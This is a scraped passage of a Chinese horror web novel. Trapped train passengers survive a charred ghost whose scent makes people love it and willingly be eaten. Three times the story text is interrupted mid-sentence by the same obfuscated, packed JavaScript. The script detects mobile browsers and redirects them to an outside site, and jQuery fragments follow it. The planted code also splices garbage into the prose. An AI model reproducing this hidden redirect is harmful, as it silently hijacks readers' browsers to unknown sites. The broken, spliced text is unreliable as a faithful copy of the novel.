“没用的。”闻啼将自己的手机掏出来,蹲下,亮给梁团,说,“我之前试过了,怪谈世界不会有和外界联系的信号,只能与同处怪谈世界的同伴联系。” 这就说明了,他们无法判断自己进入“怪谈世界”的时间。 进入怪谈世界越久,白天时间会变少,黑夜会变长——他们会越危险。 大家陷入沉默。 今浅突然开口:“实际上,我说的也不是谭迟,而是谭迟身后的那位。” “在说什么?我身后可没别人……”谭迟还没说完,像是突然意识到什么,闭上嘴。 “我也没说是人。”今浅说。 谭迟沉默。 他此刻的站位很微妙,正好在过道处的出口。 只要谭迟移开位置,大家就能看见今浅口中的“人”。 “我……”谭迟刚想离开,就被梁团劝住。 “大哥,求你了,先站在这里挡一挡,给我们点心理准备吧。”梁团不见先前的趾高气扬,低声祈求谭迟,“反正你有‘大胆’,根本不害怕。” “我们现在还没出隧道。按道理来说,应该会有下一只鬼来袭击我们。这只鬼应该会比刚才的影子怪更恐怖。”今浅说,“然而直到现在,这里都没有动静,甚至给了我们交流信息的时间。书上说了,这是在憋大招。” “话说,你们有没有闻到什么奇怪的味道?”顶庆突然不安,他多闻了闻,迟疑地说,“好奇怪,像我家附近公园,桃花树的桃花香。” 谭迟面无表情,说:“不好意思,我感冒鼻塞。” “是花粉……阿嚏……我对花粉过敏。”闻啼皱眉,捏着鼻子,打了个喷嚏,“大家尽量不要多闻这种来路不明的气味。我们还不清楚这味道会有什么样的作用。千万不要中招。” “我知道这个气味的作用。”今浅说,“它能让闻到的人爱上那个怪物。” 餐车桌面上有纸巾,大家连忙扯了几张捂住口鼻。 闻啼见今浅没动作,多扯了几张帮她掩住口鼻。 今浅慢了半拍,接过纸巾。 闻啼抽出她的手,帮她摁住口鼻处的纸巾。 闻啼问:“你这也是在书上看到的吗?” “当然不是。”今浅摁住纸巾,看着出口处的某个地方,说:“因为……我已经爱上它了。” 闻啼收回来的手一抖。 “!” 众人震惊。 谭迟不知何时昏倒在地,出口一片黑暗。 黑暗里一声轻笑。 “呵呵。” 8. 第 8 章 “本以为你很厉害,可没想到,你这么容易就中了我的香。”黑暗中,那道声音慢悠悠地说,“亏我还提心吊胆得,担心你会暗算我。” 闻啼神色凝重,后退几步,说:“让人爱上自己的桃花香……你是花旧笑?!” “咦,居然会有人知道我的名字。”花旧笑故作惊讶,打量闻啼片刻,遗憾地说,“啊,原来是被选中过的人啊。” 今浅说:“亲爱的,你能出来,让我一睹芳容么?” “这么迫不及待吗?”陶依震惊地看着今浅,“不是,你知道这么多的怪谈世界信息,难道不应该是个高手么?” 怎么看起来,她真的像中招的啊?! 今浅周围的人不语,只是默默远离她。 “好呀。” 随着花旧笑的声音响起,黑暗处隐隐传来脚步声。 直到它彻彻底底出现在灯光下,众人皆失语。 今浅赞美道:“哇,从来没有见到过这么完美的存在,简直堪比男神级别的存在。拥有着188的身高,身材修长,拥有着迷人的古铜肤色,看起来非常健康。想必当初造物主创造你的时候,费尽了万千心思吧。这等巧夺天工的手艺,简直拥有浑然天成的,美感。” 闻啼一言难尽。 众人也神色复杂。 和今浅不一样。 他们只看见一个浑身漆黑得被火烧的大型焦炭人,四肢修长恍若枯木,一举一动皆带着酥脆的声响,像是骨头被烧焦后掉的渣渣。 “果然,爱会让人盲目。”陶依绷不住了。 花旧笑很受用今浅的夸奖:“看出来了,你真的爱我。这么发自肺腑的赞美,我已经好久都没有听见了。” 突然一阵尖叫:“啊——有鬼啊!” 是梁团。 他瘫倒在地上,哭得眼泪和鼻涕直流,嘴里嚷嚷着:“我错了……呜呜呜,我再也不敢骗人了。” 花旧笑脸瞬间阴沉:“真不会说话。” 它走向梁团。 众人暗道不好,离梁团最近的冯涛连忙往旁边走了几步。而顶庆则是急得想要捂住梁团的嘴。 梁团被吓得发出剧烈的尖叫。 花旧笑挥一挥手。 梁团失去了两条手臂上的所有肉。 梁团安静如鸡。 “看来书上说的没错。爱是一见到命中注定的那位,就会心跳加速,呼吸急促,感觉全世界只有那位。”今浅说。 闻啼道:“据我所知,人被吓到了,也会心跳加速、呼吸急促。” “诶,是吗?”今浅一愣,低头细细琢磨。 花旧笑满意地舔了舔嘴唇,看着众人,说:“你们怎么不继续说实话了?” “哦~美丽的女士。”顶庆一见到花旧笑,突然顿住,挪不开眼。 “他刚才好像是吸得最多的。”陶依脸色难看,“就是他刚才提醒我们,闻到花香的味道的。” 闻啼连忙伸手拉住想要靠近顶庆的手,急声说:“喂,小心这个怪物。现在还不知道靠近它会发生什么事情。你赶紧……” 顶庆一把甩开闻啼拉着他的手,冷漠地看着闻啼,说:“第一,我不叫喂,我叫顶庆,是个顶级销冠。第二,请你尊重我的爱人。虽然它长得不符合大众审美,但也不要用怪物这个词称呼它。” 闻啼顿了顿,见顶庆仍然执迷不悟地上前,一咬牙,说:“我可以买你给我推销的产品,但前提是,你得离它远点。” 他进入过怪谈世界,十分清楚,这种鬼怪吃掉人类后,实力会大增。到时候就更难对付了。 花旧笑不屑地说:“中了我的桃花香的人,怎么会有人爱钱高过一切呢。” 顶庆却停下脚步,面露挣扎。 花旧笑:…… 今浅道:“看来,人在穷的时候,会优先爱金钱。” 闻啼见状有用,连忙开口加码,说:“我可以买十个,哦,不,二十个。我不但我买,还会让我的亲朋好友一起帮你买。” 陶依说:“我……我也可以。” 顶庆挣扎片刻后,停下脚步,说:“抱歉了,美丽的女士。我爱你,但前提是,我养得起你。” 花旧笑:…… 它笑了一声,盯着顶庆,一字一句地说:“我不嫌弃你,只要,你愿意掏心掏肺地爱我。” “小心,空气中的桃花香越来越浓了。大家快捂住口鼻。”闻啼见状不好,出声提醒。 顶庆面露挣扎,最终痴迷地盯着花旧笑的眼睛,说:“我发誓,我愿意掏心掏肺地爱你。” “这就对了。”花旧笑满意地向顶庆招招手,说,“过来吧。” 顶庆如被抽走灵魂的提线木偶,僵硬地走到花旧笑的面前。 他听话地伸手,花旧笑啃着他的胳膊,而他却像是什么都没感觉一般,只是痴痴地望着花旧笑。 随着花旧笑的啃食,花旧笑焦炭的骨架已经慢慢变得丰盈。 被它吃掉的肉回逐渐长到它的身上。 今浅说:“看来,被爱真的会长出血肉。” “不对,不是因为‘爱’,所以才有血肉的生长。”闻啼说,“‘爱’它是假,愿意被它吃掉才是真的。这股香味的目的,最终是要我们献出自己的肉.体,甘愿被它吃掉。” “呵呵,不错,观察得很仔细。”花旧笑停下进食。 它优雅地擦了擦嘴,上面已经出了一些血红色的人体组织,说,“这就是我拥有香味的能力。不过呀,你们发知道这些已经晚了。” “下一个,你们谁来?” 众人沉默。 “哦,我亲爱的宝贝,你怎么不继续吃了?”顶庆着急,他急忙把自己手臂剩得不多的肉推挤到它的嘴边,恳求般地说,“求你了,吃我吧。我是真的爱你的。” 花旧笑只能勉为其难地进食。 和顶庆不同,今浅全程都保持着沉默,没有像他那样做出比较应激的行为。 剩下的几个人围在一起小声商讨接下来的对策。 “虽然花旧笑的能力很恐怖,但是,好在它在进食的时候,无心关注周围的环境。”闻啼看着正在进食的花旧笑,若有所思地说,“而且,它吃一个人的时候,速度会越来越慢——这意味着,它要在短时间内拥有很强大的力量,就必须多吃几个人。” “我觉得,它的香味虽然可以让人爱上它,但是它自己就不能分辨到底是谁真的在爱他。”今浅说。 “你怎么知道?”陶依惊讶,“难道你一直是假装爱上它的?” “我觉得是真的,因为我的心真的在为它跳动。”今浅说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069204|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“但是闻啼刚才给我科普了,这也可能是处于惊吓。” “你可真听话。”闻啼说。 今浅说:“这叫虚心学习。” 几个人讨论着,突然看见一个人滚过来。 是刚才昏迷的谭迟。 他是在装昏迷,趁着花旧笑进食,用最不惊扰它的举动,凑到几个正在谈论对策的人附近。 “如果你的猜测没错的话,或许,我们可以装□□它,来迷惑它。”谭迟睁着一只眼闭着一只眼说,“拖延时间,等待火车离开隧道。” 只有他们离开隧道,他们才有机会调查火车,找到离开的办法。 “可是……可是如果它要吃我们,那该怎么办?”陶依不安。 众人沉默了。 “那就没办法了,我们每个人都贡献一点,总比它专吃一个人强。”今浅说。 “嗯,最让人担心的,是它把顶庆的灵魂吃了。”谭迟说,“那时候,它的实力会大大增加。” 大家沉默片刻,只能同意了。 花旧笑正在吃着人,突然听见一个夸张的咏叹调。 “啊,帅气逼人的男神。”陶依站出来,面无表情地称赞花旧笑,“我爱你,我爱死你了。” 花旧笑的动作一顿,它抬起头,只见谭迟说:“是啊,我从来都没有见过像您一样优雅动人的人。我愿意把自己手臂上的肉给你吃。” 闻啼说:“不,你的肉太柴了,会让它消化不良的。要吃也是吃我的肉。” 冯涛说:“那不行,能被伟大的花旧笑大人吃掉,是我们的福分,你怎么能够独自享受这份荣誉呢?” 几个人拍着花旧笑的马屁,花旧笑看了他们一眼,顿了顿,笑着说:“看来,你们是都爱上我了?” “当然。”冯涛说。 “可惜了,只有最厉害的人才能被我吃掉。”它看了一眼众人,突然发出意味不明的笑容,说,“要不,你们先打架吧,打得越厉害越好。” 这是要让他们自相残杀,它好坐收渔翁之利。 好聪明,好狡猾的鬼。 众人面面相觑,沉默片刻。 花旧笑说:“怎么?你们不是爱着我么?怎么这都做不到了?” 它看着顶庆,说:“当然,这也包括你——你也要去参加。” “遵命!”被控制的顶庆像个机器人,一板一眼地回答。 他不顾残缺的身体,只是一个劲儿地朝他们攻击。 众人只能勉强应付。 刚开始,他们还能勉强应付,可是到了后来,他们手上的动作却莫名加重,敌我不分。 火车车厢逐渐变得混乱,到处都是散落的物件。 “你干什么打我?!”冯涛看着谭迟,难以置信,随即愤怒地抄起拳头,殴打回去。 谭迟一脸莫名。 他明明是在拦着顶庆。 几个人打起来,下手愈发狠辣。 花旧笑在旁边看得一直在笑,合不拢嘴。 突然,它听见“噗呲”一声,随后胸口一阵剧痛。 有人用一根断掉的铁棍,刺穿了它的胸膛。 花旧笑不可置信地回头——是今浅! 她见到花旧笑回头,礼貌地点头,但手下的动作却更加用力,往里面捅了几分。 9. 第 9 章 “你不是爱上我了吗?”花旧笑难以置信,“你伤害了我,难道不会心痛吗?” “是啊,我确实爱着你。”今浅点头,说,“我的心也在为你的痛而痛着。” 她没说谎,自己的心确实在疼痛万分,像是与花旧笑的感官连在了一起。 “那……为什么?”花旧笑依旧难以置信。 它被重伤了,此刻跌倒在地,止不住地哀嚎。 身上刚长出来的血肉如同积雪融化,消失得飞快。 今浅想了想,说:“因为,书上说了,打是亲,骂是爱。” “骗人!别以为我没听出你嘴里的敷衍!”花旧笑震怒。 “书上真的是这么说的。”今浅说,“它还说了,杀掉自己的爱人,以此来证道。” “……你想证什么道?”花旧笑艰难地开口。 “我不知道。” 今浅说完,担心没杀够,又把铁棍拔出来,反复捅了几次。 作为鬼怪,花旧笑的身体很酥脆,就像是刚刚炸好的薯条。 今浅不费吹灰之力,就能捅进它的身体。 多捣鼓几次,今浅只觉得自己就像是在捣药的玉兔。 只可惜,玉兔捣药的时候不会痛苦。 而今浅的心因为花旧笑的痛苦而痛苦,就像也跟着被反复捅了几次。 但心的疼痛并不会阻止今浅的动作。 她擦了擦因生理反应而落下的泪,面无表情地说:“啊,我可真是做了一个违背我良心的决定。” “虚……虚伪!”花旧笑咬牙切齿。 “咦?居然还有心情说话。”今浅觉得这是花旧笑在小瞧自己,加大桶花旧笑的力度。 花旧笑被捅得止不住哀嚎。它顿了顿,突然开口,看着今浅的目光变得恶毒万分:“你不会以为,这样真的能杀死我吧?” 夜晚的鬼怪,实力万分强大。 它们拥有着极其良好的自愈能力,杀不死的。 今浅没有理它。 她刚想多补几次,却只见天旋地转。 耳边随后传来了一道声音:“小心——” 今浅被掀翻倒在地上,随后见看见一张狰狞的脸。 是被花旧笑操控的顶庆。 他浑身已经破破烂烂,东少一块,西缺一点,就像是挂着破布的衣服架子,完全没有人样。 显而易见,顶庆已经不再是人了。 它已经变成了花旧笑的傀儡。 “时间……时间不多了!”花旧笑喃喃道。 它费力地挣扎起来,朝顶庆大喊,说:“帮我拦住他们!!” 顶庆听令,木木地攻击其他人。 花旧笑搜寻一番在场的所有人,最终目光锁定在一个慢吞吞,蠕动着,尝试离开的身上。 是梁团。 “就你了。”花旧笑说。 它以极快的速度逼近梁团。 梁团哀嚎:“别——不要吃我——啊——救我——” 梁团朝他们伸手,痛哭流涕地说:“我再也不做坏事了,我再也不坑蒙拐骗了……饶了我吧……呜呜呜” “不够,不够。”花旧笑大口啃食着梁团。 众人想上去帮忙,可是顶庆却死死守住它,几乎是拿命在保护着花旧笑,不惜拿出了“一夫当关,万夫莫开”的气势。 “顶庆这人力气怎么这么大?!速度也比之前快了很多。”闻啼费力抵挡。他抄起刚才被打散的不锈钢桌子面板。 今浅艰难地撑起身体。 她刚刚没反应过来,被掀开后,下意识用手撑住地。 谁知正好手杵在了胃部,倒地后,正好打在了自己的胃部。 她痛得几近失语,可还是强撑着最后的力气,艰难地说:“可能,这就是,爱情的力量。” “爱情不爱情的先放在一旁,顶庆这力量,这速度……明显已经脱离了人类的范畴吧。”陶依震惊今浅在这种时候,都还有心思开玩笑。 “那就更令人感动了。”今浅调整了呼吸,从疼痛中缓过来了。 她靠着从上一场打斗中幸存下来的椅子,缓缓说,“爱情超过了生死和种族。” “再这样下去,我们就要无限接近死亡了。”闻啼挣扎着避开顶庆的动作,艰难地说,“一个顶庆已经够难缠了,还要再加一个梁团……” 这话不假。 黑夜会加大鬼怪的力量。 被控制的顶庆一手抓住陶依的脚踝,咬住谭迟的裤脚,双脚钩住闻啼的腿。 今浅又受了内伤,因此一时半会儿难以移动。 傀儡顶庆,硬生生以一己之力,控制住了所有人的前进。 “好,好,终于开始吃了。”花旧笑草草吃了几口梁团,几乎陷入疯狂,“就从你这个人下手!” 大型焦炭人面目狰狞,双手成爪,向今浅袭来。 花旧笑本来就不是近战的鬼,攻击力不强。可是今浅的挑衅让它怒火中烧,丧失理智,一时间竟有几分近战实力。 “再坚持一会儿,今浅。”谭迟一边拔自己的裤脚,一边朝今浅喊,“还有几分钟,就能出隧道了。” 他从来都没有想到,买质量太好的衣服会让他陷入动弹不得的危险之中。 谭迟这句话就像是一个强心剂,众人安心不少。 而花旧笑却更加着急。 今浅知道,自己现在只需要拖延时间。 但她也不好受。 今浅右手是墙的死角,左手是被顶庆拖住的几人。 如果往右走,她几乎会被花旧笑围堵至死。 到时候,只能将希望寄托于火车离开隧道的时间。 着比的就是,到底是花旧笑先杀死她,还是火车先离开隧道。 今浅不喜欢不可控的存在。 这会让她有种在玩命的危险。 如果往左边走,今浅可以用闻啼等人吸引花旧笑的注意。 反正对于现在的花旧笑而言,吃谁都是吃。 只不过对于花旧笑而言,自己吸引的仇恨值更高。 怪谈世界,出卖同伴换取幸存的机会,是再正常不过的事情。 更何况,她妈妈说过,怪谈世界里,只会有一个人离开。 花旧笑的速度非常快。 在那一瞬间,今浅看了一眼那三人,一咬牙,狠心往右边的墙角撞去。 伤害人类的事情,她做不到。 但她可不相信,“只有一人能离开怪谈世界”这个“事实”。 今浅高考完后,玩过一个逃生类的手游,只是后来厂商跑路了。 手游里,死亡的条件不止一个,就像在怪谈世界里,死路不止一条。 但同时相对应的,能成功存活的生路,也不知一条。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069205|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今浅转身的速度很快,正好躲过那双爪子。 可也正因为她的转身速度很快,她不小心撞到她的右手。 “咔嚓。” 清脆的骨头声,随即右手手臂传来一阵刻骨的疼痛。 不用想,都知道她的手骨折了。 花旧笑没反应过来,它的爪子深深嵌进了今浅刚才靠着的座椅。 深蓝的布料从中裂开,露出像云一样的棉花。 今浅松了口气。 还好她只是骨折。 “不要生气。”今浅拖延时间,劝花旧笑,“生气是在给魔鬼留地步。” 这话一出,花旧笑更是火冒三丈。 它顾不上深深陷入椅子的爪子,张嘴就想咬今浅。 今浅拼命往死角处挪动,好在花旧笑嵌入座椅的爪子太过深。花旧笑使出全身的力量,也无法咬到今浅丝毫。 它虽然外表焦酥,但是牙齿却意外地洁白,在灯光下闪闪发光。 “你的牙口还挺好的。”今浅说,“没怎么蛀牙。” “啊啊啊啊啊!我要杀了你!”花旧笑被气地浑身发抖,顾不上其它。 它现在满脑子只有一件事——只想要今浅死! “别急,你先别急。”今浅一边把自己往死角处挤,一边出声说:“你看,你越生气,就越无法达成你的目的。” “那都是因为被你恶意挑衅,气到的!”花旧笑气急败坏。 它见咬不到今浅,尝试拔出深深嵌入椅子的爪子。 今浅见状不好。 她撑着墙想站起来,从死角绕出去,然而为时已晚,花旧笑已经拔出了爪子,迅速朝今浅袭来。 “给我去死!” 花旧笑狰狞。 今浅看了一眼窗外后,不闪不避,站在原地,说:“想让我死?很可惜——” “你还是晚了一步。” 随着今浅的话,花旧笑只感觉眼前一亮。 火车驶出了隧道。 “不——” 花旧笑的声音慢慢消失。 今浅只感觉一阵灰扑面而来,呛得她掩面咳嗽。 顶庆也随着花旧笑的逝去,而失去活力,变成一副衣服架子,倒在地上。 没有了顶庆的桎梏,闻啼等人互相搀扶着,站起来。 “我们活下来了。”闻啼说,“但只是暂时。” “没想到你居然这么有眼力见,提前捅了它几下。”陶依后怕,“真不敢想象,光是只吃了不到一个人的花旧笑,就让我们这么难对付……” 她的话戛然而止。 但是大家都知道,她后面的意思。 如果下一个夜晚到来,花旧笑的实力变得更强。 那他们,该怎么办呢? “我帮你正骨吧。”谭迟见今浅的手臂折成匪夷所思的形状,常人难以容忍的疼痛,在今浅身上,他却只看见今浅没什么表情,不由得暗暗佩服今浅的忍受能力,“我也算是半个医生,把活人当死人医治,应该就没问题了。” 谭迟三下两下就把今浅骨头复位。 今浅赞叹。 现在活着的人只有今浅,陶依,闻啼,谭迟和冯涛。 顶庆死了,梁团不知所踪。 但现在,有个更严肃的问题摆在他们面前—— 他们,该如何离开这个火车怪谈。 10. 第 10 章 窗外蓝天青山,一派融洽的美景。 日光依旧和煦,照进没开灯的车厢内,一片温暖。 但在场的几人都没有欣赏的想法。 “现在这种情况,我们是万万不能单独行动的。”闻啼沉吟片刻,说,“落单很容易被抓。更何况,这里不止花旧笑一只鬼。” 谭迟点头,说:“看样子,花旧笑是它们之中最强的鬼,就连吃了一个张兰兰的影子怪物都忌惮它。” 今浅说:“我们必须得趁着天亮,找找火车里有没有离开的线索,或者能反制鬼怪的信息。” 她隐隐觉得,天亮的时间会越来越短。 “我们要不试试往回走?”陶依出声,“说不定,就能直接离开……” “不行,来的路都消失了。”躲在角落里的冯涛站出来,面色忧愁,“火车的车厢会随着时间的推移变少,在晚上,速度会更快。” 冯涛担心自己给他们添麻烦,便在刚才花旧笑出场时,苟在角落里,悄悄搜索能用的信息。 他带着大家,走到靠近贯通道处的一个不起眼的标牌,指着上面的内容。 那是一张火车总车厢的分布图。 此时他们正好处于火车的中间,一半是亮着红灯,另一半一片漆黑。 “我记得天亮的时候,这张分布图的火车,只有最后两节车厢是黑的。”冯涛不安。 按照这个速度,天再黑两次,这辆火车就会彻底变黑。 变黑的火车,会发生什么呢? 今浅看向车厢的左右两端。 图上熄灭的黑色车厢,在她的左手边,那里的乘客很多,聊天的,吃早餐的……她甚至能看见里面有小孩在拍皮球。看起来岁月静好。 而图上的全亮红色车厢,到处则布满了如同黑色霉菌般的烧焦印记,令人心生不安。 “图上漆黑的车厢,看起来更真实一些。”陶依说,“难道漆黑的车厢才是真正的出口?” 众人犹豫不定。 突然,那些乘客里,有人起身,朝他们挥手:“诶,你们快回来呀,快查票了。” 大家脸色骤变,面面相觑,后退了几步。 那些乘客却纷纷起身,走到通道的面前。 他们挂着和蔼的笑容,但在此刻显得很诡异。 “她……她不是已经死了吗?”冯涛颤颤巍巍指着刚才出声的人,揉着眼睛,说,“我眼花了吗?” “看来,死人会出现在黑色的车厢。”今浅说,“不然无法解释,为何已经死去的张兰兰,会活生生地出现在我们面前。” 今浅看了一眼陶依,后者沉默,像是正在思考。 今浅皱眉,突然伸手,在陶依讶然的眼神下,把陶依往回拽了几步。 “你……”陶依还没说完,就见她方才位置的焦黑痕迹不知何时已然褪去,而一位“乘客”恰好站在她的一步之遥,面带微笑。 漆黑车厢正在以肉眼可见的速度,缓缓吞噬着他们现在所处的车厢。 如果刚才陶依没有被今浅拉走,而是站在原地,那么此刻她就变相“踏入”了漆黑车厢,结果自然是被眼前这些已故的乘客们瓜分吃掉。 陶依打了个冷颤,向后退了几步。 “谢谢……”她惊魂未定,低声说,“我们明明才认识,没想到你居然还会帮我。” “举手之劳,不必放在心上。”今浅随口说,“萍水相逢,咱就是朋友了。” 陶依一愣。 “我们快离开。”今浅低声提醒众人,“现在是白天,它们的攻击力较弱,我们赶紧离开这节车厢。” 白天的鬼怪虽然看起来攻击力不强,但并不代表它们会放弃进食的欲望。 就好比刚才,它们悄无声息地侵蚀餐厅车厢,就是为了吃掉陶依。 几人不敢耽误,只能埋头狂奔,远离车厢。 他们只能在剩下的几节车厢内翻找着线索,同时躲避着伺机而动的漆黑车厢。 在进入黑夜的前几分钟,众人聚集在一起,交流着为数不多的信息。 “这节火车是人为纵火。”谭迟很专业,“根据现场的火迹、残余的助燃物等,可以推断,是由汽油引燃的。” “我只找到一个乘客的手机,没有锁,有备忘录。”闻啼拿出那部手机,递给众人,说,“这个乘客记录的信息,大概讲的是一对夫妻正在吵架,打扰了他正在睡觉。” “难道,是两人夫妻之间的恩怨。一方气不过,就决定杀掉另一方,往对方身上倒汽油?”今浅说,“却不曾想,火势出乎他们的意料,使火势蔓延到整条火车。” “那汽油哪里来的?”冯涛问,“这些易燃易爆炸的物品是不能带上火车的。” “是他们偷偷带进来的,安检当时没那么严,而他们隐瞒得很好。”陶依说,“我正好找到这个消息。夫妻俩是开汽修店的,私下偷偷贩卖汽油。他们的邻居用高价买了一大桶,看在路途遥远上,出了极高的价格。当时也没有快递,所以他们就想省钱。” 所以,焦炭人就是被烧焦的无辜乘客。 “我刚才在通知栏上看见这么一张表,我把它抽出来了。你们分析分析。”冯涛掏出表。 【K404号列车非常先进,具有自动驾驶功能,请大家放心乘坐本次列车。但请注意: 1,列车长下班的时间为晚上,期间他们会去餐厅用餐。请放心,夜间道路是提前规划好,自动驾驶功能足以胜任。 2,列车两端均有火车头。 3,为了应对突发情况,列车长不会连续回到相同的火车头。 4,乘务员心地善良,愿意帮助大家。 5,乘务员只有1位,能力有限。】 “无人驾驶技术?”今浅说,“一听起来就感觉不靠谱,不古不今的。” 他们现实的无人驾驶技术都尚未成熟到可以自行规划路线,更别提这条一看就充满年代感的火车。 “人不能过于依赖科技。”闻啼赞同今浅的话,说,“科技只是辅佐人类的工具。” “现在我们怎么办?”冯涛揣揣不安。 他们虽然初步了解了这班火车,但手头上尚未拥有离开的线索。 “实在不行,我们把火车停下。”今浅说,“火车一直开下去,就会一直消耗车厢的长度。” 那么把火车停下,车厢就没办法被消耗了。 大家沉默了。 “我们再找找线索吧。”冯涛抹了把额头上冒出了的冷汗,“我们目前得出来的猜测还是有风险的。万一我们错了,那就是在赌命。” “我们也只能赌命。”谭迟看了眼腕表,说,“还有3分钟,火车就要进隧道了。” 车厢内的气氛变得沉重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069206|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “别慌。”今浅说,“这种时候,我们更应该相信彼此,互相帮助。” “对,对……”冯涛深呼一口气,但焦虑和不安再次涌上心头,“可是我们还不知道怎么应对影子怪物,怎么应对花旧笑,还有漆黑车厢的恐怖乘客。如果它们一起登场,那我们不就完了……” “不会完了的。”今浅说,“还记得我们刚才的黑夜吗?在怪谈世界里,应该存在有某种能力束缚鬼怪。” “……什么意思?”陶依说。 “我们可以从中找到一些规律。”闻啼若有所思,说,“这些规律,可以帮我们躲避伤害。” “我好像猜到一点。”谭迟说,“刚才,是影子怪物先出场,随后再是花旧笑。” “它们俩行走的方向也不一样。”今浅说,“结合它们的出场顺序,我推测,花旧笑是从车头出发,而影子怪物是从车尾出发。而从第二点和第三点中,它们这次天黑出场的顺序会换一换。影子怪物从车头出发,而花旧笑从车尾出发。” “影子怪物这么怕花旧笑,但两个怪物的行动轨迹会有重叠的地方。”闻啼接着今浅的思路,说,“中间应该还有一个可以躲避的地方。” “是乘务室!”冯涛指着那张通知表,说,“看,第四点,乘务员心地善良。说不定那个影子怪物在中途就躲在那里,避开花旧笑。如果我们抢先躲进去,是不是就能避开这两个了。” “但第五点,乘务员只有1位。”陶依说,“这应该是规定了人数限制。” 这意味着,一定会有人被留在外面。 大家再次沉默。 “或许,我们可以换一种思路。”今浅说,“两个火车头,我们不知道哪个是真正停下来的火车头,那么我们分成两半。一半人去影子怪物的,另一半去花旧笑的。这样,大家都只用应付一只怪物。” “负责花旧笑的人,不就更危险了吗?”陶依皱眉,“它疯起来,谁都能吃。” “它吃人的前提,是这个人闻到了它的花香。闻得越多,爱得越彻底,就越容易被它从控,越容易被吃掉。顶庆深吸一口气了,没来得及防护。梁团瘫倒在地,后来手上的肉也没了。”今浅说,“只要不闻它的香味,但假装爱上它。它就没办法吃人了。” “其实拖延花旧笑的任务会比较简单。”闻啼想了想,说,“它的能力,我们摸得差不多了。但去火车头的路上,就不清楚会发生什么了。” “那我来花旧笑的部分吧。”谭迟说,“我长得比较帅,说不定可以试试美男计。” “那……我也来吧。正好我刚才站位靠后,没怎么闻到花粉。”冯涛弱弱举手。 “那我负责影子怪物的那部分。”今浅说,“正好,花旧笑对我的仇恨值很高。它可能急着吃我,顾不上你们。” 闻啼和陶依,跟着今浅一起。 火车很快再次进入隧道。 “啪嗒”一声,车厢的灯亮了。两拨人按照先前约定好的计划分头行动。 冯涛和谭迟两人来到全红车厢的末端,正襟危坐,等待花旧笑的到来。 可是,一段时间后,花旧笑却并没有出现。 “难道,她推断出的结论是错的?”冯涛脸色一白,“那我们岂不就是,被他们卖了?” “嘘,快躲起来,别说话。”谭迟神色微凝,说,“有人过来了。” 11. 第 11 章 隧道没有灯,从一面面路过的车窗往外窥看,只有一片漆黑。 今浅等人走在无声的车厢,诡异的安静让他们不由自主放轻呼吸。 “希望计划能顺利进行。”陶依双手合十,闭眼祈祷,“希望能离开这里。” 三人穿过狭窄的贯通道后,终于来到了一间与其它火车车厢不一样的车厢。 这间车厢很热闹,到处都是欢声笑语。 但不同的是,在场的都是焦炭乘客。 一位焦炭乘务员正在发餐,它的腰间挂了一个巨大的怀表,随着它走动间摇摆。 今浅、闻啼和陶依三人迅速停下脚步。 “怎么办?”陶依担忧地看着那间车厢,说,“我们得穿过这间车厢,但是,车厢里有这么多不明立场的焦炭人。如果它们对我们发出攻击,我们绝对无法抵挡,只能命丧黄泉。” “打不过吗?”今浅若有所思,说,“既然我们打不过,那我们就先加入,等找到机会再离开。” “加……加入?”陶依嘴角抽搐,她指着里面奇形怪状的焦炭人,说,“这种已经脱离了人类范畴的怪物,人类是绝对没有办法……” 她话还没说完,就见闻啼说:“我先试试,给你们打样。” 两人看向闻啼。 他借着照进贯通道的,尝试着走了几步,但没有进入前面的车厢。 闻啼看向两人,说:“你们觉得怎么样?” “你怎么……一会儿一米八,一会儿一米六啊。”今浅说。 “花旧笑乱啃的时候,不小心啃断我的小腿。”闻啼说,“我已经这样,扶着墙走了一路。” 无人发现他的伤势。 陶依吓得捂嘴,结结巴巴地说:“那你……你不怕回到现实中,缺胳膊少腿啊。” “不会的。”闻啼说,“只要你能离开怪谈世界,那怕只有一口气,你都能存活下来。因为被怪谈世界选中的不是你的身体,而是你的灵魂。” “这么说,如果灵魂进入不属于它的身体,那也没有任何办法阻止怪谈世界咯?”陶依说。 “也许吧,反正我没有试过。”闻啼耸肩。 “咔嚓”一声,打断了两人的对话。 陶依回头,看见今浅的手臂以一种诡异的方式扭折着。 毫无疑问,她的手臂再次骨折。 “你你你你怎么也跟着一起。”陶依瞳孔地震。 “没事,我只折断了左臂。”今浅说:“就当作在扮演杨过,像吧?” “不像。”闻啼说,“像沙雕。” 陶依无语,还没来得及开口,就见到今浅和闻啼两人又在地上蹭了蹭,把那些漆黑的东西糊到自己身上。 不仔细看,他们和焦炭人没有区别。 “一定要这样吗?”陶依沉默。 